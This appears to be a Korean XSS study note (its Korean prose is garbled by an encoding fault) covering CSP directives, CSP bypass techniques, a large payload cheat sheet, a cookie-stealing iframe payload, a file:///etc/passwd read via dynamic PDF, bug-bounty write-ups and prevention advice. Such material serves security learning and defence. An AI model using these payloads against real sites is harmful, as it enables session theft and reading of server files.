Cross Site Scripting(XSS)
๐ CSP (Content Security Policy)
CSP(์ปจํ
์ธ ๋ณด์ ์ ์ฑ
)์ XSS๋ ๋ฐ์ดํฐ๋ฅผ ์ฝ์
ํ๋ ๊ณต๊ฒฉ์ด ๋ฐ์ํ์์ ๋ ํผํด๋ฅผ ์ค์ด๊ณ ์น ๊ด๋ฆฌ์๊ฐ ๊ณต๊ฒฉ ์๋๋ฅผ ๋ณด๊ณ ๋ฐ์ ์ ์๋๋ก ์๋กญ๊ฒ ์ถ๊ฐ๋ ๋ณด์ ๊ณ์ธต์
๋๋ค.
XSS ๊ณต๊ฒฉ์ ๊ฒฝ์ฐ, ํ์ด์ง ๋ด์ ๊ต๋ฌํ๊ฒ ์๋ฐ์คํฌ๋ฆฝํธ ๊ตฌ๋ฌธ์ ์ฝ์
ํ์ฌ ๋ง์น ์๋ ํ์ด์ง์ ์ปจํ
์ธ ์ธ ๊ฒ์ฒ๋ผ ๋ธ๋ผ์ฐ์ ๋ฅผ ์์ด๊ณ ๋์ผ ์ถ์ฒ ์ ์ฑ
์ ์ฐํํ๊ธฐ๋ ํฉ๋๋ค.
์ด์ ๋ฐ๋ผ ํ์ด์ง์ ์ปจํ
์ธ ์์ ์ฌ์ฉํ๋ ์์๋ค์ด ๋ชจ๋ ์น ์๋ฒ์์ ์๋ํ ์์์ด ๋ง๋์ง ํ์ธ
ํ๊ธฐ ์ํด Content Security Policy(CSP) ๋ฅผ ์ฌ์ฉํฉ๋๋ค.
CSP๋ ์ธ๋ผ์ธ ์ฝ๋(Inline Code)๋ฅผ ์ ํดํ๋ค๊ณ ๊ฐ์ฃผํ์ฌ CSP์์๋ ๊ธฐ๋ณธ์ ์ผ๋ก ์ฌ์ฉ์ด ๋ถ๊ฐํฉ๋๋ค.
script ํ๊ทธ ๋ด์ ์ฝ๋๋ฅผ ์ฝ์
ํ๋ ๊ฒ์ ํฌํจํ์ฌ on ์ด๋ฒคํธ ํธ๋ค๋ฌ, javascript: ์ ๊ฐ์ URL ์คํด ๋ํ ์ธ๋ผ์ธ ์ฝ๋๋ก ๊ฐ์ฃผํ์ฌ ํ์ฉํ์ง ์์ต๋๋ค.
<script>alert(1);</script> (๋ถ๊ฐ๋ฅ)
<script src="alert.js"></script> (๊ฐ๋ฅ)
Policy Directive
Policy-directive๋ <directive> <value>
ํํ๋ก ๊ตฌ์ฑ๋ฉ๋๋ค.
directive๋ ์ง์๋ฌธ์ด๋ผ๊ณ ๋ถ๋ฅด๋ฉฐ, ์ปจํ
์ธ ๋ด์์ ๋ก๋ํ๋ ๋ฆฌ์์ค๋ฅผ ์ธ๋ถํ ํด ์ด๋ค ๋ฆฌ์์ค์ ๋ํ ์ถ์ฒ๋ฅผ ์ ์ดํ ์ง ๊ฒฐ์ ํ๋ฉฐ, value ๋ถ๋ถ์๋ directive์์ ์ ์ํ ๋ฆฌ์์ ์ถ์ฒ๋ฅผ ์ ์ํฉ๋๋ค. value์๋ ์ฌ๋ฌ ๊ฐ์ ์ถ์ฒ๊ฐ ์ ์๋ ์ ์์ผ๋ฉฐ ๊ณต๋ฐฑ์ ํตํด ๊ตฌ๋ถ๋ฉ๋๋ค.
์ง์๋ฌธ | ์ค๋ช |
---|---|
default-src | -src๋ก ๋๋๋ ๋ชจ๋ ๋ฆฌ์์ค์ ๊ธฐ๋ณธ ๋์์ ์ ์ดํฉ๋๋ค. ๋ง์ฝ CSP๊ตฌ๋ฌธ ๋ด์์ ์ง์ ํ์ง ์์ ์ง์๋ฌธ์ด ์กด์ฌํ๋ค๋ฉด defualt-src์ ์ ์๋ฅผ ๋ฐ๋ผ๊ฐ๋๋ค. |
img-src | ์ด๋ฏธ์ง๋ฅผ ๋ก๋ํ ์ ์๋ ์ถ์ฒ๋ฅผ ์ ์ดํฉ๋๋ค. |
script-src | ์คํฌ๋ฆฝํธ ํ๊ทธ ๊ด๋ จ ๊ถํ๊ณผ ์ถ์ฒ๋ฅผ ์ ์ดํฉ๋๋ค. |
style-src | ์คํ์ผ์ํธ ๊ด๋ จ ๊ถํ๊ณผ ์ถ์ฒ๋ฅผ ์ ์ดํฉ๋๋ค. |
child-src | ํ์ด์ง ๋ด์ ์ฝ์ ๋ ํ๋ ์ ์ปจํ ์ธ ์ ๋ํ ์ถ์ฒ๋ฅผ ์ ์ดํฉ๋๋ค. |
base-uri | ํ์ด์ง์ |
value ๋ถ๋ถ์ผ๋ก ์ฌ ์ ์๋ ์ถ์ฒ์ ์ข ๋ฅ์ ๋๋ค. ์ผ๋ฐ์ ์ผ๋ก value ๋ถ๋ถ์๋ URL์ ์ ๋ฌ๋ฐ์ผ๋ ์์ผ๋ ์นด๋์ ์ฌ์ฉ, ํน์ํ ๋ชฉ์ ์ ์ถ์ฒ๋ ์กด์ฌํฉ๋๋ค.
์ถ์ฒ | ์ค๋ช |
---|---|
*://example.com | ์ถ์ฒ์ scheme์ ์์ผ๋์นด๋๋ฅผ ์ด์ฉํด ํํํ ์ ์์ต๋๋ค. |
https://*.example.com | ์ถ์ฒ์ ํธ์คํธ ์๋ธ๋๋ฉ์ธ์ ์์ผ๋์นด๋๋ฅผ ์ด์ฉํด ํํํ ์ ์์ต๋๋ค.(๋จ, ์์ผ๋์นด๋๋ ์ค๊ฐ์ ๋ค์ด๊ฐ ์ ์์) |
https://example.com:* | ์ถ์ฒ์ ํฌํธ๋ ์์ผ๋์นด๋๋ฅผ ์ด์ฉํด ํํํ ์ ์์ต๋๋ค |
none | ๋ชจ๋ ์ถ์ฒ๋ฅผ ํ์ฉํ์ง ์์ต๋๋ค. |
self | ํ์ด์ง์ ํ์ฌ ์ถ์ฒ(Origin)๋ด์์ ๋ก๋ํ๋ ๋ฆฌ์์ค๋ง ํ์ฉํฉ๋๋ค. |
unsafe-inline | ์์ธ์ ์ผ๋ก ์ธ๋ผ์ธ ์ฝ๋์ ์ฌ์ฉ์ ํ์ฉํฉ๋๋ค |
unsafe-eval | ์์ธ์ ์ผ๋ก eval๊ณผ ๊ฐ์ ํ ์คํธ-์๋ฐ์คํฌ๋ฆฝํธ ๋ณํ ๋ฉ์ปค๋์ฆ์ ์ฌ์ฉ์ ํ์ฉํฉ๋๋ค |
nonce-(base64-value) | nonce ์์ฑ์ ์ค์ ํ์ฌ ์์ธ์ ์ผ๋ก ์ธ๋ผ์ธ ์ฝ๋๋ฅผ ์ฌ์ฉํฉ๋๋ค. base64-value๋ ๋ฐ๋์ ์์ฒญ๋ง๋ค ๋ค๋ฅธ ๋์์ ๊ฐ์ผ๋ก ์ค์ ํด์ผ ํ๋ฉฐ ํด๋น ์ถ์ฒ๋ฅผ ์ค์ ํ๋ฉด unsafe-inline์ ๋ฌด์๋ฉ๋๋ค. |
(hash-algorithm)-(base64-value | script ํน์ style ํ๊ทธ ๋ด ์ฝ๋์ ํด์๋ฅผ ํํํฉ๋๋ค. ํด๋น ์ถ์ฒ๋ฅผ ์ฌ์ฉํ๋ฉด unsafe-inline์ ๋ฌด์๋ฉ๋๋ค. |
CSP Bypass
- ์ ๋ขฐํ๋ ๋๋ฉ์ธ
CSP๋ฅผ ์ด์ฉํ๋ฉด ๋ธ๋ผ์ฐ์ ๊ฐ ํน์ ์ถ์ฒ์์๋ง ์์์ ๋ถ๋ฌ์ค๊ฒ๋ ์ ํํ ์ ์์ง๋ง ๋ง์ฝ ํด๋น ์ถ์ฒ๊ฐ ํ์ผ์ ๋ก๋ ๋ฐ ๋ค์ด๋ก๋ ๊ธฐ๋ฅ์ ์ ๊ณตํ๋ค๋ฉด ๊ณต๊ฒฉ์๋ ์ถ์ฒ์ ์คํฌ๋ฆฝํธ์ ๊ฐ์ ์์์ ์ ๋ก๋ํ ๋ค ๋ค์ด๋ก๋ ๊ฒฝ๋ก๋ก ์นํ์ด์ง์ ์์์ ํฌํจ์ํฌ ์ ์์ต๋๋ค.
<meta http-equiv="Content-Security-Plicy" content="script-src 'self'">
# ์ฐํ
<script src="/download_file.php?id=177742"></script>
<script src="/vuln?param=alert(1)"></script>
- JSONP API
๋ง์ฝ CSP์์ ํ์ฉํ ์ถ์ฒ๊ฐ JSONP API๋ฅผ ์ง์ํ๋ค๋ฉด,callback
ํ๋ผ๋ฏธํฐ์ ์ํ๋ ์คํฌ๋ฆฝํธ๋ฅผ ์ฝ์ ํ์ฌ ๊ณต๊ฒฉ์ด ๊ฐ๋ฅํฉ๋๋ค.
์นํ์ด์ง์์ *.google.com ์์ ์จ ์ถ์ฒ๋ง ํ์ฉํ๋ค๊ณ ํ๋ฉด ๊ตฌ๊ธ์์ JSON API๋ฅผ ์ง์ํ๋ ์๋ฒ๋ฅผ ์ฐพ์ callback์ ์ํ๋ ์คํฌ๋ฆฝํธ๋ฅผ ์ฝ์ ํ ์ ์์ต๋๋ค.
์ด๋ด ๊ฒฝ์ฐ๋์ฝ๋ฐฑ ์ด๋ฆ์ ์๋ณ์๋ฅผ ์ ์ธํ ๋ฌธ์๋ฅผ ๊ฑฐ๋ถ
ํจ์ผ๋ก์จ ์ด๋ฅผ ์ถ๊ฐ์ ์ผ๋ก ๋ฐฉ์ดํ ์ ์์ต๋๋ค. ๊ทธ๋ฌ๋ ๊ฐ๋ฅํ ๊ฒฝ์ฐ JSONP๋ณด๋ค๋ CORS๋ฅผ ์ง์ํ๋ API๋ฅผ ์ฌ์ฉํ๋๊ฒ์ด ์ข์ต๋๋ค.
<meta http-equiv="Content-Security-Policy" content="script-src 'https://*.google.com/'">
...
<script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(1);"></script>
- nonce ์์ธก ๊ฐ๋ฅ
CSP์ nonce๋ฅผ ์ด์ฉํ๋ฉด ๋ฐ๋ก ๋๋ฉ์ธ์ด๋ ํด์ ๋ฑ์ ์ง์ ํ์ง ์์๋ ๊ณต๊ฒฉ์๊ฐ ์์ธกํ ์ ์๋ nonce ๊ฐ์ด ํ๊ทธ ์์ฑ์ ์กด์ฌํ ๊ฒ์ ์๊ตฌํจ์ผ๋ก์จ XSS๊ณต๊ฒฉ์ ๋ฐฉ์ดํ ์ ์์ต๋๋ค.
nonce๊ฐ์ ๋ณดํต ์์ฒญ๋ง๋ค ์๋ก ์์ฑ๋จ (๋จ ๊ณต๊ฒฉ์๊ฐ nonce๊ฐ์ ์ทจ๋ํ๊ฑฐ๋ ์๊ณ ๋ฆฌ์ฆ์ด ์ทจ์ฝํ์ฌ ์์ธกํ ์ ์์ด์ผ ํจ)
nonce๋ฅผ ์ฌ์ฉํ ๋์๋ nonce๊ฐ์ ๋ด๊ณ ์๋ HTTPํค๋ ๋๋ meta ํ๊ทธ๊ฐ ์บ์ฑ๋์ง ์๋์ง ์ฃผ์ํด์ผํฉ๋๋ค.
PHP๋ CGI๊ณ์ด ์คํฌ๋ฆฝํ ์ ์ฌ์ฉํ ๋์๋ ์คํฌ๋ฆฝํธ๋ค์ด /index.php/style.css ์ฒ๋ผ ๋ค์ ์ถ๊ฐ์ ์ธ ๊ฒฝ๋ก๋ฅผ ๋ถ์ฌ ์ ๊ทผํ ์ ์๋๋ฐ ๋ง์ฝ ์บ์์๋ฐ๊ฐ ํ์ฅ์๋ฅผ ๊ธฐ๋ฐ์ผ๋ก ์บ์ ์ฌ๋ถ๋ฅผ ํ๋จํ๋ค๋ฉด .css๋ ์ผ๋ฐ์ ์ผ๋ก ์ ์ ํ์ผ์ด๋ฏ๋ก ๋์ ์ฝํ ์ธ ๋ก ๊ฐ์ฃผํ์ง ์์ ์บ์์ ์ ์ฅํ ์ ์์ด ์บ์๊ฐ ๋ง๋ฃ๋ ๋๊น์ง ์์ฒญ์๋ง๋ค ๊ฐ์ nonce๊ฐ ๋์์ค๊ธฐ ๋๋ฌธ์ ๊ณต๊ฒฉ์๋ ์ด๋ฅผ ๋ฐํ์ผ๋ก nonce๋ฅผ ํ๋ํ ์ ์์ต๋๋ค.
์ฝํ ์ธ ๊ฐ ์บ์๋์ด ์๋ฒ ์ธก XSS๋ ์ผ์ด๋์ง ์์ผ๋, DOM XSS ๋ฑ ํด๋ผ์ด์ธํธ ์ธก์์ ์ผ์ด๋ ์ ์๋ ๊ณต๊ฒฉ์ ์ทจ์ฝํ๊ฒ ๋ฉ๋๋ค.
<script nonce="{๊ณ ์ ๋ nonce ๊ฐ}">alert(1);</script>
- base-uri ๋ฏธ์ง์
HTML ํ์ดํผ๋งํฌ์์ ํธ์คํธ ์ฃผ์ ์์ด ๊ฒฝ๋ก๋ฅผ ์ง์ ํ๋ฉด ๋ธ๋ผ์ฐ์ ๋ ํ์ฌ ๋ฌธ์๋ฅผ ๊ธฐ์ค์ผ๋ก ์ฃผ์๋ฅผ ํด์ํฉ๋๋ค.
HTML base ํ๊ทธ๋ ๊ฒฝ๋ก๊ฐ ํด์๋๋ ๊ธฐ์ค์ ์ ๋ณ๊ฒฝํ ์ ์๋๋ก ํ๋ฉฐ a, form ๋ฑ์ targer ์์ฑ์ ๊ธฐ๋ณธ ๊ฐ์ ์ง์ ํ๋๋ก ํฉ๋๋ค.
๋ง์ผ ๊ณต๊ฒฉ์๊ฐ<base href="https://malice.test/xss-proxy/">
์ ๊ฐ์ ๋งํฌ์ ์ ์ฝ์ ํ๊ฒ ๋๋ค๋ฉด ๊ณต๊ฒฉ์์ ์๋ฒ์ ์์์ ๊ฐ๋ฆฌํค๊ฒ ๋์ด ๊ณต๊ฒฉ์๋ ์์์ ์คํฌ๋ฆฝํธ ๋ฑ์ ์ฝ์ ํ ์ ์๊ฒ ๋ฉ๋๋ค. base-uri ์ง์๋ฌธ์ ์์๋ก ์ง์ ํ์ง ์๋ ์ด์ defulat ์ด๊ธฐ ๊ฐ์ด ์กด์ฌํ์ง ์์ผ๋ฏ๋ก ๊ฐ๋ฐํ ๋ ๋ฐ๋์ base-uri ์ง์๋ฌธ์ ์ ์ํด์ฃผ์ด์ผํจ.
# base ํ๊ทธ์ URL ์ ํ
Content-Security-Policy: base-uri 'none'
# base ํ๊ทธ์ ์ ํ์ด ์์ ์ ์์ ์์ ์
๋ก๋
<base href="https://malice.test">
<script src="/jquery.js" nonce=NONCE>
๐ Cheat sheet
-
Common Payloads
// Basic payload
<script>alert('XSS')</script>
<scr<script>ipt>alert('XSS')</scr<script>ipt>
"><script>alert('XSS')</script>
"><script>alert(String.fromCharCode(88,83,83))</script>
<script>\u0061lert('22')</script>
<script>eval('\x61lert(\'33\')')</script>
<script>eval(8680439..toString(30))(983801..toString(36))</script> //parseInt("confirm",30) == 8680439 && 8680439..toString(30) == "confirm"
<object/data="javascript:alert(23)">
// Img payload
<img src=x onerror=alert('XSS');>
<img src=x onerror=alert('XSS')//
<img src=x onerror=alert(String.fromCharCode(88,83,83));>
<img src=x oneonerrorrror=alert(String.fromCharCode(88,83,83));>
<img src=x:alert(alt) onerror=eval(src) alt=xss>
"><img src=x onerror=alert('XSS');>
"><img src=x onerror=alert(String.fromCharCode(88,83,83));>
// Svg payload
<svgonload=alert(1)>
<svg/onload=alert('XSS')>
<svg onload=alert(1)//
<svg/onload=alert(String.fromCharCode(88,83,83))>
<svg id=alert(1) onload=eval(id)>
"><svg/onload=alert(String.fromCharCode(88,83,83))>
"><svg/onload=alert(/XSS/)
<svg><script href=data:,alert(1) />
<svg><script>alert('33')
<svg><script>alert('33')
// Div payload
<div onpointerover="alert(45)">MOVE HERE</div>
<div onpointerdown="alert(45)">MOVE HERE</div>
<div onpointerenter="alert(45)">MOVE HERE</div>
<div onpointerleave="alert(45)">MOVE HERE</div>
<div onpointermove="alert(45)">MOVE HERE</div>
<div onpointerout="alert(45)">MOVE HERE</div>
<div onpointerup="alert(45)">MOVE HERE</div>
-
normalize(์ ๊ทํ) ์ฐํ
# GET์์๋ %09 POST์์๋ ์ค์ TAB ๊ฐ ' ' ์
๋ ฅ ์ normalize๊ณผ์ ์์ ์ญ์ ๋จ
<script src="URI"></script> <!-- URI์ ์์ฒญํด์ ๋ฐ์ ๊ฒ์ innerHTML ์์ ๋ฃ์ด์ค๋๋ค -->
<a href="URI">click me</a> <!-- ํด๋ฆญํ๋ฉด ํ์ฌ ์ฐฝ(window)์ด URI๋ก ๊ฐ๋๋ค(go) -->
<iframe src="URI"></iframe> <!-- iframe ์์ ์ฐฝ(window)์ด URI๋ก ๊ฐ๋๋ค(go)-->
<img src="URI"/> <!-- URI์ ์์ฒญํด์ ๋ฐ์ ๊ฒ์ ์ด๋ฏธ์ง๋ก ๋ณด์ฌ์ค -->
<iframe src="javascri%09pt:parent.locatio%09n.href='/memo?memo='%2bdocume%09nt.cookie">
-
IMG alert bypass
//IMG onerror and JavaScript Alert Encode
<img src=x onerror="javascript:alert('XSS')">
//Decimal HTML Character References
<IMG SRC=javascript:alert('XSS')>
//Decimal HTML Character References Without Trailing Semicolonsยถ
<IMG SRC=javascript:alert('XSS')>
//Hexadecimal HTML Character References Without Trailing Semicolonsยถ
<IMG SRC=javascript:alert('XSS')>
-
Bypass using ECMAScript6 (๊ฐ๋ก์ฐํ)
# ๋ฐฑํฑ
<script>alert`1`</script>
-
Server Side XSS(Dynamic PDF) / HTB-Book ์ฐธ์กฐ
<script>
x=new XMLHttpRequest;
x.onload=function(){document.write(this.responseText)};
x.open("GET","file:///etc/passwd");x.send();
</script>
๐ BugBounty Write up
๋ค๋ฅธ ๊ณต๊ฒฉ์๊ฐ ๋ฐ๊ฒฌํ์ฌ ์ฌ๋ฆฐ ์ทจ์ฝ์ ์ ๋ฒ์ญํ ๊ธ๋ค์ ๋๋ค
CSRF ํ ํฐ ์ฌ์ฉ Reflected XSS
https://mostafa-mano.medium.com/2-reflected-xss-in-razer-74783ae5ee53
XSS ๋งค๊ฐ๋ณ์๋ฅผ ์ฐพ์๋ CSRF ํ ํฐ์ด ์ฃผ์์ฒ๋ฆฌ๋์ด ์๋ต๊ฐ์ ๋ฐ์ฌ๋๊ณ ์๋ค๋๊ฒ์ ํ์ธ
CSRFํ ํฐ์ --> ์ผ๋ก ์ฃผ์์ ๋ซ์ ํ <h1> ํ๊ทธ ์
๋ ฅ์ HTML ์๋ต๊ฐ์ ๋ฐ์
--><h1>hacked</h1>
์ฃผ์์ ๋ซ์ ํ ์๋ต๊ฐ ํ์ธ
์คํฌ๋ฆฝํธ๊ฐ ์
๋ ฅ๋์ด ๋ฒํผ ์์ฑ
CSP ์ฐํ to perform XSS using MIME sniffing
https://infosecwriteups.com/content-security-policy-bypass-to-perform-xss-3c8dd0d40c2e
CSP๊ฐ ์ธ๋ถ XSS ์คํ์ ์ฐจ๋จํ๊ณ ์์ด ์ ์์ ์ธ XSS ํ์ด๋ก๋๊ฐ ์คํ๋์ง ์์๋, ๋ค๋ฅธ ์๋ํฌ์ธํธ์์ CSP์ ์ํด ์ฐจ๋จ๋๋ XSS๋ฅผ ๋ฐ๊ฒฌ ํ ์ด๋ค์ ๊ฒฐํฉํ์ฌ CSP ์ฐํํ๊ณ MIME sniffing์ ์ฌ์ฉํ์ฌ XSS ์คํํ๋ ์ทจ์ฝ์ ์ ๋๋ค.
1. ์ฒซ๋ฒ์งธ XSS ๋ฐ๊ฒฌ
name ํ๋ผ๋ฏธํฐ ์ ๋ ฅ๊ฐ์ด ์น body์ ํํ๋๋ ๊ฒฝ์ฐ์ ๋๋ค.
String ์ ๋ ฅ๊ฐ ๋์ ์ ๊ฐ๋จํ HTML ํ์ด๋ก๋(<h1>kleiton0x00</h1>)๋ฅผ ์ ๋ ฅ ํ ๊ฒฝ์ฐ ํด๋น ํ์ด๋ก๋๊ฐ body์ ๋ฐ์๋์ด html๋ก ๋ํ๋๊ฒ ๋ฉ๋๋ค.
html injection์ด ์ฑ๊ณตํ์์ผ๋, xss ํ์ด๋ก๋ <script>alert(1)</script> ๋ฅผ ์ ๋ ฅํ์์๊ฒฝ์ฐ ํํฐ๋ง์ฒ๋ฆฌ ์์ด ์ ์์ ์ผ๋ก ๊ฐ์ด ์ ๋ ฅ๋์ง๋ง CSP์ ์ํด ์คํฌ๋ฆฝํธ๊ฐ ์คํ๋์ง ๋ชปํ๊ณ ์ฐจ๋จ๋ฉ๋๋ค.
ํํฐ๋ง ์์ด ์คํฌ๋ฆฝํธ ๊ฐ ์
๋ ฅ๋จ
๊ฐ๋ฐ์ ๋๊ตฌ์์ ํ์ธ ์ csp์ ์ํด ์คํฌ๋ฆฝํธ ์ฐจ๋จ
Content Security Policy(CSP)๋ ์น ์ฌ์ดํธ์ ์ฝ์ ๋๋ ์ธ๋ถ ์ฝ๋๋ฅผ ์ฐจ๋จํ๋ HTTP ํค๋์ ๋๋ค. ์ผ๋ฐ์ ์ผ๋ก ์ ๊ตฌํ๋ CSP๋ ๋ด๋ถ ์ํฐํฐ(๋๋ฉ์ธ ์์ฒด)์ ์ํ ์คํฌ๋ฆฝํธ๋ง ํ์ฉํฉ๋๋ค.
๋จผ์ CSP๊ฐ ์๋ํ๋ ๋ฐฉ์๊ณผ ์น์ฌ์ดํธ ๋ด๋ถ์ ์คํฌ๋ฆฝํธ๋ฅผ ๋ก๋ํ ์ ์๋ ์์ค๋ฅผ ๊ฐ์งํ์ฌ์ผ ํฉ๋๋ค.
HTTPํค๋ ํนํ Content-Security-Policy๋ฅผ ์ดํด๋ณด๋ฉด CSP์ ์น์ฌ์ดํธ ์์ฒด์ ํด๋น ๋๋ ํ ๋ฆฌ ๋ฐ ํ์ ๋๋ฉ์ธ์์ ์คํฌ๋ฆฝํธ๋ฅผ ํ์ฉํ๋ ๊ท์น์ด ์์์ ์ ์ ์์ต๋๋ค.์ฆ, ์ฐ๋ฆฌ์ ์๋ฐ์คํฌ๋ฆฝํธ ํ์ด๋ก๋๋ฅผ ์ ๋ ฅํ ์ ์๋๊ฒ ์ ํ๋์ด ์์ต๋๋ค.
2. ๋ค๋ฅธ endpoint์์ XSS ์ทจ์ฝ์ ์ฐพ๊ธฐ
csp์ ๋งํ ์ฐํํ ์ ์์๋ ๋ค๋ฅธ xss ๋ฅผ ์ฐพ๊ธฐ ์์ํ์ต๋๋ค. index ํ์ด์ง์ ์์ค์ฝ๋๋ฅผ ์ดํด๋ณผ๋ ํฅ๋ฏธ๋ก์ด ํ๋ผ๋ฏธํฐ๋ฅผ ๊ฐ์ง php์ ํ์ด์ง๋ฅผ ๋ฐ๊ฒฌํ์ต๋๋ค.
ํด๋น phpํ์ผ์ ํ๋ผ๋ฏธํฐ์ ๊ฐ๋์ ์ ๊ฐ๋จํ string ๊ฐ์ ๋ฃ๊ณ ํ์ธ ์ ์ ๋ ฅ๊ฐ์ด ์์ค์ฝ๋์ ๋ค์ด๊ฐ๋ ๊ฒ์ ํ์ธ ๊ฐ๋ฅํฉ๋๋ค.
๊ฐ๋จํ ๋ฌธ์์ด์ ์ ๋ ฅํ๋ ๋์ js ์ฝ๋์ ์ ์ฑ ์ฝ๋์ธ alert(1); ์ ๋ ฅ์ ๋ค์ ๋จ์ ์ฝ๋ *1000).getTime(); ์ // ์ฃผ์ ์ฒ๋ฆฌ๋ก ์ ๊ฑฐํ ์ ์์๋๋ค.
Full URL:
http://website.com/js/countdown.php?end=2534926825);alert(1);//
ํ์ง๋ง ํด๋น URL๋ก ์ด๋์ XSS๊ฐ ์ญ์ CSP์ ์ฐจ๋จ๋์ด ํฐ์ง์ง๋ ์์ต๋๋ค.
3. MIME ์คํผ๋์ ์ฌ์ฉํ์ฌ 2๊ฐ์ XSS๋ก CSP ์ฐํ
MIME ์คํผ๋์ ํ์ฉํ์ฌ XSS ๊ณต๊ฒฉ์ ์ํํ๋ผ๋ฉด ํน์ ์กฐ๊ฑด์ด ํ์ฉ๋์ด์ผ ํฉ๋๋ค.
1. ๊ณต๊ฒฉ์๊ฐ ์
์ฑ JS ์ฝ๋๋ฅผ ์ฃผ์
ํ ์ ์๋๋ก ์๋ฒ ์๋ต์ ์ฝํ
์ธ ๋ฅผ ์ ์ดํ ์ ์์ด์ผํ๋ค.(๋๋ฒ์งธ ๋ฐ๊ฒฌํ XSS)
2. ๊ณต๊ฒฉ์๋ HTML ์ฃผ์
๋๋ JS์ฃผ์
(์ฒซ๋ฒ์งธ ๋ฐ๊ฒฌํ XSS)์ ํตํด ์คํ๊ฐ๋ฅํ context๋ฅผ ๋์
ํ ์ ์์ด์ผํ๋ค.
์ฒซ๋ฒ์งธ ์ฐพ์ ํ์ด๋ก๋์ ๋๋ฒ์งธ ํ์ด๋ก๋๋ฅผ ํฉ์ณ์ค ์ต์ข ํ์ด๋ก๋
<script src=โhttp://website.com/js/countdown.php?end=2534926825);alert(1);//></script>
๐ How to Prevent ?
- HTML ํ๊ทธ ์ฌ์ฉ์ด ๋ถํ์ํ ๊ฒฝ์ฐ
->๋ชจ๋ HTML ํ๊ทธ ์ฌ์ฉ์ด ๋ถ๊ฐ๋ฅํ๋๋ก Server-Side๋ก ํํฐ๋ง ์ ์ฉ ๋๋ JavaScript์์ ์ฃผ๋ก ์ฌ์ฉ๋๋ ํน์๋ฌธ์์ ๋ํด ์นํ
๋ณ๊ฒฝ์ | < | > | ( | ) | # | & | โ | โ |
---|---|---|---|---|---|---|---|---|
๋ณ๊ฒฝํ | < | > | ( | ) | # | & | ' | " |
- HTML ํ๊ทธ ์ฌ์ฉ์ด ํ์ํ ๊ฒฝ์ฐ
-> ์ฌ์ฉ์๊ฐ ์ ๋ ฅํ๋ ๊ฐ์ ๋ํ ๊ฒ์ฆ ๋ก์ง์ Server-Side ๊ตฌํ
-> ์ฌ์ฉ์ด ํ์ํ ํ๊ทธ ๋ฆฌ์คํธ๋ฅผ ์ ์ํ๊ณ ํด๋น ๋ฆฌ์คํธ๋ง ํ์ฉํ๋๋ก White-list ๋ฐฉ์์ผ๋ก ํ์ฉ
-> ์ ์์ ์ธ Request์ ๋น์ ์์ ์ธ Request๋ฅผ ๊ตฌ๋ถํ ์ ์๋๋ก Form / URL ์์ ์์์ ํ ํฐ์ ์ถ๊ฐํ๊ณ ์ด ํ ํฐ์ ๊ฒ์ฆํ๋๋ก ๊ตฌํ
-> HTML Editor ์ฌ์ฉ์ผ๋ก ์ธํ ์๊ธฐ ์ฌํญ ์กฐ์น ๋ถ๊ฐ ์, Server-Side/Servlet/DAO(Data Access Object)์์ญ์์ ์กฐ์นํ๋๋ก ์ค๊ณ
-> ์๋ฒ์์ X-XSS-Protection ์๋ต ํค๋๋ฅผ ์ค์ ํ์ฌ ์ฌ์ฉ์ ๋ธ๋ผ์ฐ์ ์ XSS ๋ณดํธ ์ต์ ์ ์ค์
-> HTTPOnly ํ๋๊ทธ๋ฅผ ์ฌ์ฉํ์ฌ ์๋ฐ์คํฌ๋ฆฝํธ์์ ์ฟ ํค์ ์ ๊ทผํ๋ ๊ฒ์ ์ ํ
-> CSP(Content Security Policy)๋ฅผ ์ ์ธํ์ฌ ์น ์ฌ์ดํธ์์ ๋ก๋ํ๋ ๋ฆฌ์์ค์ ์ถ์ฒ ์ ํ